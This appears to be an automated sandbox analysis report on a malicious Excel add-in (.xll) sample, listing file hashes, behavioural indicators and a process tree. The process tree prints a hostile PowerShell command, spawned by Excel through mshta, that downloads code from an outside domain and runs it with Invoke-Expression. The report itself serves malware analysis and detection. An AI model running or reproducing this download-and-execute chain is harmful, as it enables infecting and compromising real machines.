Analysis
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max time kernel
147s -
max time network
151s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
22-05-2024 22:58
Static task
static1
Behavioral task
behavioral1
Sample
f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78.xll
Resource
win11-20240426-en
General
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Target
f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78.xll
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Size
12KB
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MD5
0e388e027d6ad35881c0f90209916643
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SHA1
fb216128d6b33436c0a014b362b10d9dfa0c2be6
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SHA256
f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78
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SHA512
59492e0971103a76aacece86581dbac47b9143b94a78f39372ec75e4954d13a5f996f0d6bd2eed36c2988c5dbba136fc4616d9ceb1550d17729d3f9de5ff36a7
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SSDEEP
192:OL29RBzDzeobchBj8JONdONzruKrEPEjr7Ahi:A29jnbcvYJOO9uKvr7Ci
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3968 3164 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 17 3056 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 3164 EXCEL.EXE 3164 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3164 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3056 powershell.exe 3056 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3056 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3164 EXCEL.EXE 3164 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE 3164 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 3164 wrote to memory of 3968 3164 EXCEL.EXE mshta.exe PID 3164 wrote to memory of 3968 3164 EXCEL.EXE mshta.exe PID 3164 wrote to memory of 3968 3164 EXCEL.EXE mshta.exe PID 3968 wrote to memory of 3056 3968 mshta.exe powershell.exe PID 3968 wrote to memory of 3056 3968 mshta.exe powershell.exe PID 3968 wrote to memory of 3056 3968 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3164 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3968 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3056
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78.xll
Filesize12KB
MD50e388e027d6ad35881c0f90209916643
SHA1fb216128d6b33436c0a014b362b10d9dfa0c2be6
SHA256f32490a4fb4944ac4addea0a707d5511b207f64571be4f37fd535041c4cc9a78
SHA51259492e0971103a76aacece86581dbac47b9143b94a78f39372ec75e4954d13a5f996f0d6bd2eed36c2988c5dbba136fc4616d9ceb1550d17729d3f9de5ff36a7